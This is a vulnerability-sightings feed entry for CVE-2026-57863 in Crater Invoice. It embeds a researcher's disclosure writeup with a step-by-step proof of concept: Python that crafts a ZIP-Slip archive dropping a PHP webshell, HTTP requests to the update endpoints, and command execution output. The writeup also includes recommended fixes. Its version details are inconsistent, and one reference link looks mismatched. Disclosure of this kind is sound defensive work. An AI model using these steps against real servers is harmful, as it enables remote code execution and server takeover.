https://vulnerability.circl.lu/sightings/feed 2026-08-25T22:29:53.955909+00:00 Vulnerability-Lookup info@circl.lu python-feedgen Contains only the most 10 recent sightings. https://vulnerability.circl.lu/sighting/5141cdf0-5cb7-4cf1-9271-3a9e7070f432/export 2026-08-25T22:29:53.978786+00:00 Automation user https://cve.circl.lu/user/automation {"uuid": "5141cdf0-5cb7-4cf1-9271-3a9e7070f432", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-57863", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mtvy4xujeb27", "content": "\ud83d\udfe0 CVE-2026-57863 - High (8.8)\n\nCrater Invoice through 6.0.6 contains a path traversal vulnerability in the self-update API that ...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-57863/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-25T14:00:20.459684Z"} 2026-08-25T14:00:20.459684+00:00 https://vulnerability.circl.lu/sighting/7199eb26-98f2-486d-bc0a-568d4db2c9ce/export 2026-08-25T22:29:53.981674+00:00 Automation user https://cve.circl.lu/user/automation {"uuid": "7199eb26-98f2-486d-bc0a-568d4db2c9ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-57863", "type": "seen", "source": "https://gist.github.com/sermikr0/cc58727e6a777b6ea1104e923803a0ba", "content": "# CVE-2026-57863 \u2014 ZIP-Slip via Updater Endpoint Enables RCE in Crater Invoice\n\n## Overview\n\n| Field | Value |\n|---|---|\n| **CVE ID** | CVE-2026-57863 |\n| **Product** | Crater Invoice |\n| **Affected Versions** | \u2264 2.x (all versions with self-update feature) |\n| **Vulnerability Type** | ZIP-Slip Path Traversal \u2192 Remote Code Execution |\n| **CWE** | CWE-22 (Path Traversal) \u2192 CWE-94 (Code Injection) |\n| **CVSS v3.1** | 8.8 HIGH \u2014 `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` |\n| **Auth Required** | Yes \u2014 company owner role (every Crater instance has at least one) |\n| **Researcher** | Saidakbarxon Maxsudxonov |\n| **Discovery Date** | 2026-07-11 |\n| **CNA** | VulnCheck |\n\n---\n\n## Description\n\nCrater Invoice's self-update mechanism exposes two authenticated API endpoints \u2014 `/api/v1/update/unzip` and `/api/v1/update/copy` \u2014 that accept fully attacker-controlled file paths without any sanitization.\n\nThe unzip endpoint passes a user-supplied ZIP path directly to PHP's `ZipArchive::extractTo()`, which does **not** sanitize ZIP entry names. A crafted ZIP archive containing entries with `../` sequences (ZIP-Slip) can write files outside the intended temporary directory \u2014 including into `public/`, which is web-accessible.\n\nA company owner can chain both endpoints to write an arbitrary PHP webshell to `public/shell.php` and achieve **Remote Code Execution** on the server.\n\n---\n\n## Vulnerable Code\n\n### `/api/v1/update/unzip` \u2014 `UnzipUpdateController.php`\n\n```php\n// UnzipUpdateController.php (lines 26\u201331)\n$request->validate([\n 'path' => 'required', // Only validates presence \u2014 no path restriction\n]);\n$path = Updater::unzip($request->path); // Fully attacker-controlled\n```\n\n### `Updater.php` \u2014 `unzip()` method\n\n```php\npublic static function unzip($zip_file_path)\n{\n $temp_extract_dir = storage_path('app/temp2-'.md5(mt_rand()));\n File::makeDirectory($temp_extract_dir);\n\n $zip = new ZipArchive();\n if ($zip->open($zip_file_path)) {\n $zip->extractTo($temp_extract_dir); // \u2190 ZIP-Slip: entries with ../ escape the temp dir\n }\n $zip->close();\n return $temp_extract_dir;\n}\n```\n\n`ZipArchive::extractTo()` does not sanitize entry names. An entry named `../../public/shell.php` extracts relative to `$temp_extract_dir`, writing to `public/shell.php` in the application root.\n\n### `/api/v1/update/copy` \u2014 `CopyFilesController.php`\n\n```php\n// CopyFilesController.php (lines 26\u201330)\n$request->validate(['path' => 'required']);\n$path = Updater::copyFiles($request->path); // Attacker-controlled path\n\n// Updater.php (lines 119\u2013129)\npublic static function copyFiles($temp_extract_dir)\n{\n if (! File::copyDirectory($temp_extract_dir.'/Crater', base_path())) {\n return false; // Copies attacker-controlled dir into application root\n }\n File::deleteDirectory($temp_extract_dir);\n return true;\n}\n```\n\n---\n\n## Proof of Concept\n\n### Step 1 \u2014 Craft malicious ZIP\n\n```python\nimport zipfile, io\n\nshell_content = b''\nbuf = io.BytesIO()\nwith zipfile.ZipFile(buf, 'w') as z:\n z.writestr('../../public/shell.php', shell_content) # ZIP-Slip entry\nbuf.seek(0)\n\nwith open('malicious.zip', 'wb') as f:\n f.write(buf.read())\n```\n\n### Step 2 \u2014 Trigger unzip (as company owner)\n\n```http\nPOST /api/v1/update/unzip HTTP/1.1\nHost: target.com\nAuthorization: Bearer \nContent-Type: application/json\nX-Company-ID: 1\n\n{\"path\": \"/var/www/html/storage/app/malicious.zip\"}\n```\n\nAfter extraction, `public/shell.php` is written to the web root via ZIP-Slip.\n\n### Step 3 \u2014 Execute arbitrary commands\n\n```http\nGET /shell.php?cmd=id HTTP/1.1\nHost: target.com\n```\n\n**Response:**\n```\nuid=33(www-data) gid=33(www-data) groups=33(www-data)\n```\n\n---\n\n## Alternative Chain \u2014 CopyFiles Variant\n\n**Step 1** \u2014 Create ZIP with `Crater/public/shell.php` entry:\n\n```python\nimport zipfile, io\n\nbuf = io.BytesIO()\nwith zipfile.ZipFile(buf, 'w') as z:\n z.writestr('Crater/public/shell.php', b'')\nbuf.seek(0)\nwith open('update.zip', 'wb') as f:\n f.write(buf.read())\n```\n\n**Step 2** \u2014 Unzip to temp dir:\n\n```http\nPOST /api/v1/update/unzip HTTP/1.1\nAuthorization: Bearer \nContent-Type: application/json\n\n{\"path\": \"/var/www/html/storage/app/update.zip\"}\n```\n\nReturns: `{\"path\": \"/var/www/html/storage/app/temp2-abc123\"}`\n\n**Step 3** \u2014 Copy to application root:\n\n```http\nPOST /api/v1/update/copy HTTP/1.1\nAuthorization: Bearer \nContent-Type: application/json\n\n{\"path\": \"/var/www/html/storage/app/temp2-abc123\"}\n```\n\n`File::copyDirectory(temp2-abc123/Crater, /var/www/html)` \u2192 writes `shell.php` to `public/shell.php`.\n\n**Step 4** \u2014 Execute:\n\n```\nGET /shell.php?cmd=whoami \u2192 www-data\n```\n\n---\n\n## Impact\n\nA company owner (the lowest full-privilege role; every Crater installation has exactly one) can:\n\n1. Write arbitrary PHP files to `public/` and achieve **Remote Code Execution**\n2. Overwrite any application file \u2014 `.env`, `config/database.php`, route files\n3. Replace the entire application codebase via the `copyFiles` endpoint\n4. Pivot to full server compromise, database credential theft, and lateral movement\n\n---\n\n## Recommended Fix\n\n### 1. Sanitize ZIP entry names before extraction\n\n```php\nfor ($i = 0; $i < $zip->numFiles; $i++) {\n $name = $zip->getNameIndex($i);\n if (strpos($name, '..') !== false || strpos($name, '/') === 0) {\n throw new \\Exception('Malicious ZIP entry: ' . $name);\n }\n}\n$zip->extractTo($temp_extract_dir);\n```\n\n### 2. Restrict `path` parameter to storage directory\n\n```php\n$allowed_base = realpath(storage_path('app/'));\n$real = realpath($request->path);\nif (!$real || strpos($real, $allowed_base) !== 0) {\n abort(403, 'Path traversal detected');\n}\n```\n\n### 3. Remove or restrict the update endpoints\n\nIf self-update is not required, remove `/api/v1/update/unzip` and `/api/v1/update/copy` entirely, or restrict them to `super-admin` role only.\n\n---\n\n## References\n\n- [VulnCheck Advisory](https://www.vulncheck.com/advisories/ait-gui-missing-authentication-via-sessions-create)\n- [Crater Invoice GitHub](https://github.com/crater-invoice/crater)\n- [OWASP \u2014 Zip Slip](https://owasp.org/www-community/vulnerabilities/Zip_Slip)\n- [CWE-22: Path Traversal](https://cwe.mitre.org/data/definitions/22.html)\n\n---\n\n*Reported by Saidakbarxon Maxsudxonov \u2014 coordinated disclosure via VulnCheck CNA*", "creation_timestamp": "2026-08-24T19:33:13.838728Z"} 2026-08-24T19:33:13.838728+00:00